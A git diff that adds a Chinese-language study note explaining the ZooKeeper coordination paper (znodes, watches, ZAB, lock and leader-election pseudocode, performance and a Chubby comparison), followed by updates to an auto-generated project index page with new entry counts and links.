+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# ZooKeeper：Wait-free Coordination for Internet-scale Systems
+
+## 一、从"合租厨房"讲起
+
+想象你和三个室友合租一套房子。厨房里有一个冰箱，你们都往里面放食材、拿东西。
+
+这里会出现几个典型问题：
+
+- **谁先放**？如果你和室友同时往冰箱里写同一个位置，数据会乱掉
+- **怎么知道变没变**？你不在厨房时，室友换了冰箱里的调料，你怎么知道？
+- **冰箱坏了怎么办**？如果冰箱坏了，你们还能做饭吗？
+- **谁说了算**？你们争论菜谱时，听谁的？
+
+分布式系统面临的是完全相同的问题。ZooKeeper 就是一个"数字冰箱"——它让成千上万个程序（在多台机器上运行）能够协调地读写同一个共享状态。
+
+它的核心主张是：**简单接口 + 极高吞吐 = 可以广泛使用**。
+
+> 论文原文：*ZooKeeper aims to provide a simple and high performance kernel for building more complex coordination primitives at the client.*
+
+## 二、核心概念
+
+### 2.1 ZNode：层级命名空间
+
+ZooKeeper 的数据模型就像一个简化版文件系统：
+
+```
+/
+├── app1
+│   ├── lock
+│   ├── config
+│   └── leader
+├── app2
+│   └── nodes
+```
+
+每个节点叫 **znode**，每个 znode 存的数据最多 1MB（默认很小，通常只有几字节）。
+
+znode 有两种特殊类型：
+
+| 类型 | 行为 | 类比 |
+|------|------|------|
+| **持久化 znode** | 创建后一直存在，除非被显式删除 | 冰箱里permanent贴的标签 |
+| **临时 znode** | 客户端断开会由系统自动删除 | 冰箱里的"在位证"，人走证就废 |
+
+临时 znode 是实现心跳检测的关键——如果一个服务挂了，它的临时 znode 自动消失，其他节点立刻知道。
+
+### 2.2 Watch 机制：不用轮询的通知
+
+传统做法：每 5 秒问一次"配置变了吗？"——这叫 **polling**，浪费资源。
+
+ZooKeeper 的 watch 机制像订了报纸：
+
+1. 你读 `/app/config` 时带上 watch 标志
+2. 服务器说：给你，顺便以后 `/app/config` 变了就通知我
+3. 以后配置一变，服务器主动推一条事件给你
+4. **watch 是一次性的**——收到一次通知后自动注销
+
+> Watch 只告诉你"变了"，不告诉你"变成什么了"。你需要再读一次拿到新值。
+
+### 2.3 Wait-free：为什么重要？
+
+**Wait-free** 的意思是：无论其他进程在做什么（即使它们一直崩溃），每个正确调用的操作都保证在有限步内完成。
+
+类比：你去银行柜台办业务。Wait-free 意味着不管队伍里有人吵架、有人插队、有人晕倒，你的业务**一定**能在有限时间内办完，不会被无限期阻塞。
+
+在 ZooKeeper 中：
+
+- **读操作**（getData、exists、getChildren）是 wait-free 的——每个服务器本地就能处理，不需要和其他服务器商量
+- **写操作**需要 leader 协调（通过 ZAB 协议），但论文保证：只要多数派服务器存活，写操作也能在有限时间内完成
+
+这就是论文标题 "wait-free coordination" 的核心含义。
+
+### 2.4 两大排序保证
+
+ZooKeeper 提供两个关键保证：
+
+1. **FIFO 客户端顺序**：同一个客户端发来的请求，按发送顺序执行
+2. **线性化写入**（A-linearizability）：所有写操作可以被排成一个全局顺序，符合因果逻辑
+
+这两个保证让上层协议（如锁、选主）的实现变得简单——你不需要考虑"我的请求会不会被乱序处理"。
+
+### 2.5 ZAB 协议：原子广播
+
+ZooKeeper 内部使用 **ZAB（ZooKeeper Atomic Broadcast）** 协议保证多副本一致性：
+
+```
+客户端 → Leader → Follower1 (广播提案)
+                    Follower2
+                    Follower3
+Leader 收集多数确认 → 提交事务 → 应用数据树
+```
+
+流程：
+1. 客户端连接任意服务器提交写请求
+2. 请求被转发给 Leader
+3. Leader 给每个请求分配全局递增的事务 ID（zxid），向所有 Follower 发送提案
+4. Follower 写入本地磁盘（write-ahead log）后回复 ACK
+5. Leader 收到多数派 ACK 后提交事务，广播 commit
+6. 所有服务器将事务应用到内存数据树
+
+> 关键设计：读操作不走 ZAB！读直接从本地内存返回，这是 ZooKeeper 高吞吐的秘密武器。
+
+## 三、代码示例
+
+### 示例 1：实现分布式锁（无 herd effect 版本）
+
+最粗暴的锁实现：所有等待者同时去抢，这叫 herd effect（羊群效应），就像一扇门开了100个人一起挤。
+
+ZooKeeper 的方案是**排队等号**——每个客户端只看前面一个人的 znode：
+
+```python
+# 伪代码：ZooKeeper 分布式锁
+def acquire_lock(zk, lock_path="/app/lock"):
+    """
+    创建临时顺序节点，排队等待锁
+    """
+    # 1. 创建一个临时+顺序节点（zk 自动追加序列号，如 lock-0000000001）
+    my_znode = zk.create(
+        f"{lock_path}/lock-",    # 路径模式
+        b"",                      # 空数据
+        ephemeral=True,          # 临时：断连自动删除
+        sequential=True          # 顺序：自动追加递增序号
+    )
+
+    while True:
+        # 2. 获取父节点下所有子节点
+        children = zk.get_children(lock_path, watch=False)
+
+        # 3. 如果我的 znode 序号最小，说明我排第一，拿到锁
+        if my_znode == min(children):
+            return True
+
+        # 4. 找出比我小的最大那个节点（我前面那个人）
+        my_seq = int(my_znode.split("-")[-1])
+        predecessors = [c for c in children if int(c.split("-")[-1]) < my_seq]
+        prev_znode = lock_path + "/" + max(predecessors)
+
+        # 5. 只关注前一个人！如果他被删了（锁释放了），我就被唤醒
+        zk.exists(prev_znode, watch=True)
+
+        # 6. 等待 watch 触发（前一个人释放了锁），循环回去重新检查
+        #    （注意：前一个人可能挂了没拿锁就走了，所以要 re-check）
+        wait_for_watch_event()
+        # 回到步骤 2 重新排队
+
+
+def release_lock(zk, my_znode):
+    """删除自己的 znode 释放锁"""
+    zk.delete(my_znode)
+```
+
+这个设计的精妙之处：只有排在当前人前面的那一个节点被删除时，才会触发 watch 通知**当前这个人**。其他人完全不受影响。
+
+### 示例 2：动态配置管理
+
+ZooKeeper 最常见的用途：让成百上千个服务实例共享一套配置，配置变更时自动感知：
+
+```python
+# 伪代码：动态配置管理
+def load_config_with_watch(zk, config_path="/app/config"):
+    """
+    读取配置，并注册 watch 以自动感知变更
+    """
+    # 第一次：读取配置 + 注册 watch
+    data, stat = zk.get(config_path, watch=True)
+    config = parse_config(data)
+
+    while True:
+        # 7. 用配置干活……
+        result = do_work(config)
+
+        # 8. 等待配置变更通知（watch 是一次性的！）
+        #    注意：客户端可能因为网络延迟收不到 watch
+        #    论文建议：收到通知后先写操作（flush），再读
+        event = zk.receive_watch_event(timeout=60)
+
+        if event and event.path == config_path:
+            # 9. 先 sync（可选，确保读到最新值）
+            zk.sync(config_path)
+            # 10. 重新读取配置
+            data, stat = zk.get(config_path, watch=True)  # 重新注册 watch
+            config = parse_config(data)
+            print(f"配置已更新！新值：{data}")
+
+        yield result
+```
+
+> 论文中提到的 subtle bug：客户端 A 更新了配置，通过另一个通道告诉客户端 B。B 去 ZooKeeper 读时，可能读到的还是旧副本（因为各服务器的数据还没同步完）。解决方法是先做一个写操作（或 sync），再读，这样就能保证读到最新数据。
+
+### 示例 3：Leader 选举
+
+这是 ZooKeeper 最经典的应用场景：
+
+```python
+# 伪代码：Leader 选举
+def elect_leader(zk, election_path="/app/election"):
+    """
+    多个节点竞争 leader 身份，只有一个成功
+    """
+    # 创建临时顺序节点
+    my_znode = zk.create(
+        f"{election_path}/node-",
+        b"",
+        ephemeral=True,
+        sequential=True
+    )
+    my_seq = int(my_znode.split("-")[-1])
+
+    # 获取所有竞选节点
+    children = zk.get_children(election_path, watch=True)
+    min_seq = min(int(c.split("-")[-1]) for c in children)
+
+    if my_seq == min_seq:
+        print(f"我（{my_seq}）当选 leader！")
+        return "LEADER"
+    else:
+        # 不是 leader，监听当前 leader 的节点
+        leader_znode = f"{election_path}/node-{min_seq:010d}"
+        zk.exists(leader_znode, watch=True)
+        print(f"我是 follower，监听 leader（{my_seq}）")
+        return "FOLLOWER"
+        # 当 leader 节点消失（watch 触发），重新选举
+        # （可能自己就是新的最小序号）
+```
+
+临时节点在这里是关键：leader 挂了，它的 znode 自动消失，watch 触发，剩下的节点重新选举。
+
+## 四、性能数据
+
+论文中的实测数据令人印象深刻（50 台服务器集群）：
+
+| 配置 | 纯读吞吐 | 纯写吞吐 | 延迟（3 节点） |
+|------|----------|----------|---------------|
+| 3 台 | ~87K ops/s | ~21K ops/s | ~1.2ms |
+| 13 台 | ~460K ops/s | ~8K ops/s | — |
+
+几个关键发现：
+
+- **读远快于写**：读操作 10:1 到 100:1 的比例是典型工作负载
+- **读不经过 ZAB**：每个服务器本地处理读，所以读吞吐随节点数线性增长
+- **写受限于原子广播**：leader 是瓶颈，节点越多写吞吐反而下降
+- **容错快**：选主通常 < 200ms，follower 挂掉几乎不影响
+
+## 五、和 Chubby 的对比
+
+论文将 ZooKeeper 与 Google Chubby 做了比较：
+
+| 特性 | ZooKeeper | Chubby |
+|------|-----------|--------|
+| 读请求 | 任何服务器处理 | 必须去 leader |
+| 一致性 | 最终一致（松弛） | 强一致 |
+| 性能 | 高吞吐 | 中等 |
+| 接口 | 层级文件系统 API | 层级文件系统 API |
+| 设计哲学 | 可以用它做锁 | 它就是一个锁服务 |
+
+ZooKeeper 的核心设计选择是**用一致性换性能**——读操作允许读到旧数据（通过 sync 可以补救），因此读不需要经过 leader，吞吐量大幅提升。这使得 ZooKeeper 可以被大量使用，而 Chubby 往往只用在关键路径上。
+
+## 六、总结：ZooKeeper 的思想精髓
+
+1. **简单就是力量**：层级命名空间 + 小数据 + 全读全写，接口极简
+2. **读本地、写集中**：读走本地副本、写走 leader 协调，兼顾吞吐和一致性
+3. **Watch 代替轮询**：事件驱动，不需要客户端反复查询
+4. **排队代替抢锁**：顺序节点 + watch，精确唤醒，消灭 herd effect
+5. **Wait-free 的保证**：无论系统多乱，操作一定能在有限时间内完成
+
+ZooKeeper 证明了：一个足够简单、足够快的协调内核，可以让上层应用广泛使用它，从而构建出更复杂的分布式原语——锁、选主、屏障、配置管理……全部可以用它的 API 实现。
+
+这就是论文标题所说的 **wait-free coordination for Internet-scale systems**。
diff --git a/src/content/docs/projects-atlas.md b/src/content/docs/projects-atlas.md
index fdf5a357c..6d3da49d1 100644
--- a/src/content/docs/projects-atlas.md
+++ b/src/content/docs/projects-atlas.md
@@ -1,6 +1,6 @@
 ---
 title: 项目全景索引
-description: 862 个项目 · 按一级主题与子分类 · 自动从 frontmatter 生成
+description: 960 个项目 · 按一级主题与子分类 · 自动从 frontmatter 生成
 sidebar:
   order: 5
   label: 项目全景索引
@@ -11,8 +11,8 @@ sidebar:
 
 ## 总览
 
-- **总数**：862 个
-- **已分类**：862
+- **总数**：960 个
+- **已分类**：960
 
 ### 按一级主题分布
 
@@ -20,17 +20,18 @@ sidebar:
 |---|---:|
 | [分布式系统](#分布式系统) | 5 |
 | [数据库](#数据库) | 94 |
-| [操作系统](#操作系统) | 21 |
-| [机器学习](#机器学习) | 94 |
+| [操作系统](#操作系统) | 49 |
+| [机器学习](#机器学习) | 93 |
 | [区块链](#区块链) | 60 |
-| [后端 API](#后端-api) | 193 |
+| [后端 API](#后端-api) | 206 |
 | [基础设施](#基础设施) | 72 |
-| [图形学](#图形学) | 19 |
+| [图形学](#图形学) | 37 |
 | [通信](#通信) | 100 |
 | [Agent](#agent) | 1 |
-| [CLI](#cli) | 123 |
-| [编译器](#编译器) | 14 |
+| [CLI](#cli) | 159 |
+| [编译器](#编译器) | 17 |
 | [数据可视化](#数据可视化) | 66 |
+| [其他](#其他) | 1 |
 
 ---
 
@@ -168,7 +169,7 @@ sidebar:
 
 ## 操作系统
 
-共 21 个。
+共 49 个。
 
 ### 嵌入式
 
@@ -177,28 +178,56 @@ sidebar:
 | [Arduino CLI — 命令行驱动嵌入式全流程工具链](/study/projects/arduino-cli/) | ✅ v3 |  |
 | [Buildroot — 用 Make 给嵌入式板子烤一张完整 Linux 镜像](/study/projects/buildroot/) | ✅ v3 |  |
 | [CircuitPython — 插上 USB 就能写 Python 的微控制器运行时](/study/projects/circuitpython/) | ✅ v3 |  |
+| [CMSIS-NN — Cortex-M 上的「神经网络专用工具箱」](/study/projects/cmsis-nn/) | ✅ v3 |  |
 | [Embassy — 嵌入式 Rust 的 async/await 运行时](/study/projects/embassy/) | ✅ v3 |  |
 | [embedded-hal — 让同一份驱动代码跑在任意芯片上](/study/projects/embedded-hal/) | ✅ v3 |  |
+| [ESP-DL — 乐鑫芯片上的「袖珍 AI 放映机」](/study/projects/esp-dl/) | ✅ v3 |  |
+| [ESPHome — 用 YAML 给 ESP 芯片写「说明书」的固件工厂](/study/projects/esphome/) | ✅ v3 |  |
+| [ESPurna — 给 Sonoff 等 ESP8266 插座换「本地大脑」的固件](/study/projects/espurna/) | ✅ v3 |  |
+| [FFmpegKit — 在 App 里跑 FFmpeg 的「随身剪辑台」](/study/projects/ffmpeg-kit/) | ✅ v3 |  |
 | [FreeModbus — 嵌入式 Modbus RTU/TCP 从机协议栈](/study/projects/freemodbus/) | ✅ v3 |  |
 | [FreeRTOS-Kernel — KB 级 RAM 跑得动的可抢占多任务内核](/study/projects/freertos/) | ✅ v3 |  |
+| [Gazebo Classic — 机器人仿真零基础入门](/study/projects/gazebo-classic/) | ✅ v3 |  |
+| [Grbl — 让 Arduino 听懂 G-code 的 CNC「翻译官」](/study/projects/grbl/) | ✅ v3 |  |
 | [GStreamer — 流水线式多媒体框架](/study/projects/gstreamer/) | ✅ v3 | element/pad/caps 模型 |
+| [Home Assistant Core — 开源智能家居的「中央调度台」](/study/projects/home-assistant/) | ✅ v3 |  |
 | [Janus WebRTC Gateway](/study/projects/janus-gateway/) | ✅ v3 | C 语言 WebRTC 网关，插件架构支持 SFU/录制/流转推 |
+| [Klipper — 把 3D 打印机的「大脑」和「手脚」拆开的固件架构](/study/projects/klipper/) | ✅ v3 |  |
+| [LinuxCNC — 在 Linux 上跑完整 CNC「机床操作系统」](/study/projects/linuxcnc/) | ✅ v3 |  |
+| [littlefs — 给 MCU 用的掉电安全小文件系统](/study/projects/littlefs/) | ✅ v3 |  |
+| [LoRaMac-node — LoRaWAN 终端协议栈参考实现零基础学习笔记](/study/projects/lora-mac-node/) | ✅ v3 |  |
 | [lwIP — ~40KB ROM 跑完整 TCP/IP 的嵌入式网络栈](/study/projects/lwip/) | ✅ v3 |  |
+| [Marlin Firmware — 3D 打印机的「一体式管家固件」](/study/projects/marlin/) | ✅ v3 |  |
 | [Mbed TLS — 嵌入式设备的 TLS 1.3 / X.509 / 加密原语库](/study/projects/mbedtls/) | ✅ v3 |  |
+| [Mender — 嵌入式 Linux 的 OTA 空中升级管家](/study/projects/mender/) | ✅ v3 |  |
 | [MicroPython — 在 MCU 上跑 Python 3 的精简实现](/study/projects/micropython/) | ✅ v3 |  |
+| [Eclipse Mosquitto — 轻量级 MQTT 消息代理，物联网的「社区广播站」](/study/projects/mosquitto/) | ✅ v3 |  |
+| [MoveIt 2 — 机械臂运动规划零基础入门](/study/projects/moveit2/) | ✅ v3 |  |
+| [NanoMQ — 面向 IoT 边缘的超轻量 MQTT Broker](/study/projects/nanomq/) | ✅ v3 |  |
+| [Navigation2 (Nav2) — 移动机器人导航零基础入门](/study/projects/navigation2/) | ✅ v3 |  |
+| [ncnn — 手机上的「无依赖神经网络放映机」](/study/projects/ncnn/) | ✅ v3 |  |
 | [Apache NuttX — POSIX 接近完整的小型实时操作系统](/study/projects/nuttx/) | ✅ v3 |  |
+| [openHAB Core — Java OSGi 智能家居的「标准化物业中枢」](/study/projects/openhab/) | ✅ v3 |  |
 | [OpenThread — Google 开源的 Thread mesh 网络协议栈](/study/projects/openthread/) | ✅ v3 |  |
 | [OpenWrt — 路由器 / 网关上的可扩展 Linux 发行版](/study/projects/openwrt/) | ✅ v3 |  |
+| [Paddle Lite — 把飞桨模型装进手机里的「端侧放映机」](/study/projects/paddle-lite/) | ✅ v3 |  |
 | [PlatformIO Core — 一套命令行，统管千块嵌入式开发板](/study/projects/platformio-core/) | ✅ v3 |  |
 | [probe-rs — Rust 写的嵌入式烧录与调试工具](/study/projects/probe-rs/) | ✅ v3 |  |
+| [RAUC — 嵌入式 Linux 的稳健自动更新控制器](/study/projects/rauc/) | ✅ v3 |  |
+| [ROS 2 — 机器人操作系统零基础入门](/study/projects/ros2/) | ✅ v3 |  |
 | [RT-Thread — 中文社区主导的物联网 RTOS](/study/projects/rt-thread/) | ✅ v3 |  |
+| [sdk-nrf — Nordic nRF Connect SDK 零基础学习笔记](/study/projects/sdk-nrf/) | ✅ v3 |  |
+| [shadowsocks-libev — 用 C 与 libev 实现的高性能 Shadowsocks 代理](/study/projects/shadowsocks-libev/) | ✅ v3 |  |
 | [smoltcp — 不依赖操作系统的 Rust TCP/IP 协议栈](/study/projects/smoltcp/) | ✅ v3 |  |
+| [TensorFlow Lite Micro — 把神经网络塞进几 KB RAM 的「袖珍推理引擎」](/study/projects/tflite-micro/) | ✅ v3 |  |
+| [UnQLite — 嵌入式 NoSQL 数据库](/study/projects/unqlite/) | ✅ v3 |  |
+| [WireGuard-Go — 用 Go 在用户态实现 WireGuard VPN 隧道](/study/projects/wireguard-go/) | ✅ v3 |  |
 | [Yocto Project (poky) — 工业级嵌入式 Linux 定制构建系统](/study/projects/yocto-poky/) | ✅ v3 |  |
 | [Zephyr — 一份代码树跑遍所有嵌入式芯片的开源 RTOS](/study/projects/zephyr/) | ✅ v3 |  |
 
 ## 机器学习
 
-共 94 个。
+共 93 个。
 
 ### 视频理解
 
@@ -239,6 +268,7 @@ sidebar:
 | [Dask — 让 pandas / NumPy 直接跑在比内存大的数据上](/study/projects/dask/) | ✅ v3 |  |
 | [dbt-core — 把 SQL 当工程代码写，让数据仓库里的转换跑起来](/study/projects/dbt-core/) | ✅ v3 |  |
 | [DeepSpeed — 微软分布式训练库](/study/projects/deepspeed/) | ✅ v3 |  |
+| [Dify — LLM 应用开发平台](/study/projects/dify/) | ✅ v3 |  |
 | [DSPy — 把 prompt 写成签名，让编译器替你调](/study/projects/dspy/) | ✅ v3 |  |
 | [DVC — 数据版本管理](/study/projects/dvc/) | ✅ v3 |  |
 | [fastai — 三行代码做迁移学习](/study/projects/fastai/) | ✅ v3 |  |
@@ -262,6 +292,7 @@ sidebar:
 | [MLX — Apple Silicon 统一内存原生 ML 框架](/study/projects/mlx/) | ✅ v3 |  |
 | [Modin — pandas 的分布式 drop-in（一行 import 自动并行）](/study/projects/modin/) | ✅ v3 |  |
 | [NumPy — Python 科学计算基石](/study/projects/numpy/) | ✅ v3 |  |
+| [Ollama — 本地跑 LLM 的工具](/study/projects/ollama/) | ✅ v3 |  |
 | [Open-Sora — 把 Sora 黑盒一比一开源的视频生成项目](/study/projects/open-sora/) | ✅ v3 |  |
 | [Optax — JAX 优化器组合库](/study/projects/optax/) | ✅ v3 |  |
 | [PaddleOCR — 中文 OCR 最强开源方案](/study/projects/paddleocr/) | ✅ v3 |  |
@@ -289,30 +320,22 @@ sidebar:
 | [Weights & Biases — 几行 init 把指标系统代码自动入库](/study/projects/wandb/) | ✅ v3 |  |
 | [Whisper — OpenAI 多语言 ASR](/study/projects/whisper/) | ✅ v3 |  |
 
-### AI
-
-| 项目 | 质量 | 描述 |
-|---|:---:|---|
-| [Anthropic Cookbook — Claude API 实战示例](/study/projects/anthropic-cookbook/) | ✅ v3 |  |
-| [Dify — LLM 应用开发平台](/study/projects/dify/) | ✅ v3 |  |
-| [Langfuse — LLM 应用可观测性](/study/projects/langfuse/) | 🗄 存量 |  |
-| [Vercel AI SDK — 多 LLM Provider 统一 SDK](/study/projects/vercel-ai/) | ✅ v3 |  |
-
 ### 其他子类
 
 | 项目 | 质量 | 描述 |
 |---|:---:|---|
-| [browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架](/study/projects/browser-use/) | ✅ v3 |  |
+| [Anthropic Cookbook — Claude API 实战示例](/study/projects/anthropic-cookbook/) | ✅ v3 |  |
 | [Claude Agent SDK — 把 Claude Code 装进 npm 包](/study/projects/claude-agent-sdk/) | ✅ v3 |  |
 | [Claude Code — Anthropic 终端编程助手](/study/projects/claude-code/) | ✅ v3 |  |
 | [Continue — 让 AI code review 跑成 git 跟踪的 PR status check](/study/projects/continue/) | ✅ v3 |  |
+| [Langfuse — LLM 应用可观测性](/study/projects/langfuse/) | 🗄 存量 |  |
 | [LiteLLM Proxy — 自托管的 LLM 统一网关](/study/projects/litellm-proxy/) | ✅ v3 |  |
 | [LlamaIndex — LLM 数据框架](/study/projects/llamaindex/) | ✅ v3 |  |
 | [MCP TS SDK — Model Context Protocol TypeScript 实现](/study/projects/mcp-ts-sdk/) | ✅ v3 |  |
 | [nanobrowser — 把 Chrome 扩展本身当成 AI agent 的运行沙箱](/study/projects/nanobrowser/) | ✅ v3 |  |
-| [Ollama — 本地跑 LLM 的工具](/study/projects/ollama/) | ✅ v3 |  |
 | [OpenAI Agents SDK — 让多个 agent 协作的轻量框架](/study/projects/openai-agents-sdk/) | ✅ v3 |  |
 | [promptfoo — 给 prompt 写单元测试的 CLI](/study/projects/promptfoo/) | ✅ v3 |  |
+| [Vercel AI SDK — 多 LLM Provider 统一 SDK](/study/projects/vercel-ai/) | ✅ v3 |  |
 
 ## 区块链
 
@@ -385,7 +408,7 @@ sidebar:
 
 ## 后端 API
 
-共 193 个。
+共 206 个。
 
 ### 前端
 
@@ -434,16 +457,28 @@ sidebar:
 | [electron-builder — 一条命令把 Electron 应用打包发布到全平台](/study/projects/electron-builder/) | ✅ v3 |  |
 | [Electron Forge — 官方一体化桌面应用构建流水线](/study/projects/electron-forge/) | ✅ v3 |  |
 | [Expo — RN 的"开箱即用"工具链 + 云构建 + OTA 更新](/study/projects/expo/) | ✅ v3 |  |
+| [Flame — Flutter 上的 2D 游戏引擎](/study/projects/flame/) | ✅ v3 |  |
 | [Flutter — Google 自绘像素的跨平台 UI 框架](/study/projects/flutter/) | ✅ v3 |  |
+| [flutter-quill — Flutter 跨平台富文本编辑器](/study/projects/flutter-quill/) | ✅ v3 |  |
 | [flutter-rust-bridge — Dart 调 Rust 像调本地函数](/study/projects/flutter-rust-bridge/) | ✅ v3 |  |
+| [FlutterFire — Flutter 接入 Firebase 的官方插件全家桶](/study/projects/flutterfire/) | ✅ v3 |  |
+| [FVM — 按项目锁定 Flutter SDK 版本](/study/projects/fvm/) | ✅ v3 |  |
 | [Ionic Framework — 用 Web 技术打包原生移动 App](/study/projects/ionic-framework/) | ✅ v3 |  |
+| [NativeBase — 跨平台 React Native UI 与设计系统](/study/projects/native-base/) | ✅ v3 |  |
 | [NativeScript — JS/TS 直接调原生 API，无 WebView](/study/projects/nativescript/) | ✅ v3 |  |
+| [NativeWind — 在 React Native 里用 Tailwind CSS 写样式](/study/projects/nativewind/) | ✅ v3 |  |
 | [Neutralinojs — 用系统 webview 写桌面应用，2MB 搞定](/study/projects/neutralinojs/) | ✅ v3 |  |
 | [NodeGUI — Qt6 驱动的零 WebView 桌面框架](/study/projects/nodegui/) | ✅ v3 |  |
 | [Quasar — 一套 Vue 代码，七种平台产物](/study/projects/quasar/) | ✅ v3 |  |
 | [React Native — 用 React 写、编译成真正的原生 App](/study/projects/react-native/) | ✅ v3 |  |
+| [React Native for macOS — 用 JavaScript 写原生 macOS 桌面应用](/study/projects/react-native-macos/) | ✅ v3 |  |
+| [React Native Paper — Material Design 风格的 RN UI 组件库](/study/projects/react-native-paper/) | ✅ v3 |  |
+| [React Native for Web — 用 RN 组件写浏览器页面](/study/projects/react-native-web/) | ✅ v3 |  |
+| [React Native for Windows — 用 JavaScript 写原生 Windows 桌面应用](/study/projects/react-native-windows/) | ✅ v3 |  |
+| [Tamagui — 跨平台 React / React Native 样式与 UI 系统](/study/projects/tamagui/) | ✅ v3 |  |
 | [Tauri — Rust 写的 Electron 替代，用系统 webview 打包桌面/移动端应用](/study/projects/tauri/) | ✅ v3 |  |
 | [Wails — 用 Go 写后端、Web 写 UI 的跨平台桌面框架](/study/projects/wails/) | ✅ v3 |  |
+| [WebdriverIO — Node.js 下一代浏览器与移动端自动化测试框架](/study/projects/webdriverio/) | ✅ v3 |  |
 
 ### Meta 框架
 
@@ -527,6 +562,7 @@ sidebar:
 | [chi — Go 标准库友好的轻量 HTTP router](/study/projects/chi/) | ✅ v3 |  |
 | [ConnectRPC — 让 gRPC 在浏览器里裸跑的 RPC 协议](/study/projects/connect-rpc/) | ✅ v3 |  |
 | [Django — 全功能 batteries-included 的 Python web 框架](/study/projects/django/) | 🗄 存量 |  |
+| [drizzle-orm](/study/projects/drizzle-orm/) | ✅ v3 |  |
 | [Dropwizard — Java 微服务的"开箱即用 12-factor 起步包"](/study/projects/dropwizard/) | ✅ v3 |  |
 | [Echo — 极简高性能 Go 框架，5 行起服务](/study/projects/echo/) | ✅ v3 |  |
 | [Encore — 类型安全 Go/TS 后端框架，基础设施即代码](/study/projects/encore/) | ✅ v3 |  |
@@ -728,29 +764,47 @@ sidebar:
 
 ## 图形学
 
-共 19 个。
+共 37 个。
 
 ### 渲染与图形
 
 | 项目 | 质量 | 描述 |
 |---|:---:|---|
+| [Assimp — Open Asset Import Library 统一 3D 模型导入](/study/projects/assimp/) | ✅ v3 | 40+ 种 3D 格式读入统一 aiScene 内存结构，FBX/OBJ/glTF 通吃，引擎与工具链的模型导入标配 |
 | [Babylon.js — 微软开源的企业级 Web 3D 引擎](/study/projects/babylonjs/) | ✅ v3 |  |
 | [Bevy — Rust 数据驱动 ECS 游戏引擎](/study/projects/bevy/) | ✅ v3 |  |
+| [Box2D — Erin Catto C++ 2D 物理](/study/projects/box2d/) | ✅ v3 |  |
+| [Bullet — C++ 经典 3D 物理引擎](/study/projects/bullet/) | ✅ v3 |  |
+| [cannon-es — pmndrs 维护的 cannon.js 续作](/study/projects/cannon-es/) | ✅ v3 |  |
 | [Cocos2d-x — 一份 C++ 代码把 2D 手游跑遍 iOS / Android](/study/projects/cocos2d-x/) | ✅ v3 |  |
+| [deck.gl — Uber 大规模数据可视化](/study/projects/deck-gl/) | ✅ v3 |  |
 | [Defold — King 出品 Lua 引擎，移动优先 + 一键跨平台打包](/study/projects/defold/) | ✅ v3 |  |
+| [Draco — Google 3D 网格与点云压缩](/study/projects/draco/) | ✅ v3 | 专为 3D 几何设计的压缩库，用 EdgeBreaker 拓扑编码与属性预测把 mesh/点云体积压到 gzip 无法企及的比例，WebGL 与 glTF 管线标配 |
 | [Filament — Google 跨平台 PBR 渲染引擎](/study/projects/filament/) | ✅ v3 |  |
+| [glslCanvas — Book of Shaders 配套库](/study/projects/glsl-canvas/) | ✅ v3 |  |
+| [glslify — Browserify 风格 GLSL 模块](/study/projects/glslify/) | ✅ v3 |  |
+| [glTF Transform — glTF 资产工具链](/study/projects/gltf-transform/) | ✅ v3 | JavaScript/TypeScript 的 glTF 2 |
 | [Heaps — 用 Haxe 一次编写、发布到任何平台的游戏引擎](/study/projects/heaps/) | ✅ v3 |  |
+| [Hydra — 实时视觉合成 Livecoding](/study/projects/hydra-synth/) | ✅ v3 |  |
 | [LÖVE — Lua 2D 游戏框架](/study/projects/love2d/) | ✅ v3 |  |
+| [luma.gl — vis.gl WebGL2/WebGPU 抽象](/study/projects/luma-gl/) | ✅ v3 |  |
+| [Matter.js — JS 2D 刚体物理](/study/projects/matter-js/) | ✅ v3 |  |
 | [melonJS — 轻量 JS 2D 引擎](/study/projects/melonjs/) | ✅ v3 |  |
 | [Luanti / Minetest — 给自己造一个开源体素游戏引擎](/study/projects/minetest/) | ✅ v3 |  |
 | [OGRE — 老牌 C++ 3D 渲染引擎，把 GPU API 差异藏进场景图](/study/projects/ogre/) | ✅ v3 |  |
 | [OpenRCT2 — 把一款 x86 汇编游戏彻底用 C++ 重写](/study/projects/openrct2/) | ✅ v3 |  |
 | [Panda3D — Disney/CMU 出品的开源 3D 游戏引擎](/study/projects/panda3d/) | ✅ v3 |  |
 | [Phaser — 在浏览器里写 2D 游戏的完整工具箱](/study/projects/phaser/) | ✅ v3 |  |
+| [PicoGL.js — 极简 WebGL2 包装](/study/projects/picogl/) | ✅ v3 |  |
+| [Planck.js — Box2D 纯 JS 移植](/study/projects/planck/) | ✅ v3 |  |
 | [PlayCanvas — 浏览器里跑的 3D 游戏引擎](/study/projects/playcanvas/) | ✅ v3 |  |
+| [Rapier — Rust 现代物理引擎](/study/projects/rapier/) | ✅ v3 |  |
 | [raylib — 极简 C 游戏库，10 行代码跑起带窗口动画](/study/projects/raylib/) | ✅ v3 |  |
 | [regl — 函数式 WebGL 封装](/study/projects/regl/) | ✅ v3 |  |
+| [Shader Park — 程序化 SDF 着色器 DSL](/study/projects/shader-park/) | ✅ v3 |  |
+| [Spector.js — WebGL/WebGPU 调试器](/study/projects/spectorjs/) | ✅ v3 |  |
 | [three.js — Web 3D 事实标准](/study/projects/threejs/) | ✅ v3 |  |
+| [twgl.js — 把 WebGL 样板代码压成几行 helper 的微型工具库](/study/projects/twgl/) | ✅ v3 |  |
 
 ### 其他子类
 
@@ -890,35 +944,71 @@ sidebar:
 
 ## CLI
 
-共 123 个。
+共 159 个。
 
 ### 编辑器与 IDE
 
 | 项目 | 质量 | 描述 |
 |---|:---:|---|
+| [Aider — 终端 AI 结对编程 CLI](/study/projects/aider/) | ✅ v3 |  |
+| [Anytype — 本地优先块编辑器](/study/projects/anytype-ts/) | ✅ v3 |  |
+| [AppFlowy — Rust + Flutter 开源 Notion 替代品](/study/projects/appflowy/) | ✅ v3 |  |
 | [AstroNvim — 社区驱动 Neovim 配置框架](/study/projects/astronvim/) | ✅ v3 |  |
 | [Atom — 已归档的 Web 编辑器先驱](/study/projects/atom/) | ✅ v3 |  |
+| [Blender — 全流程 3D 创作套件](/study/projects/blender/) | ✅ v3 |  |
+| [BookStack — 文档型 Wiki 知识库](/study/projects/bookstack/) | ✅ v3 |  |
+| [Cline — VS Code 自主编码代理](/study/projects/cline/) | ✅ v3 |  |
+| [code-server — 在浏览器里跑完整 VS Code](/study/projects/code-server/) | ✅ v3 |  |
+| [Coder — 自托管开发环境平台](/study/projects/coder/) | ✅ v3 |  |
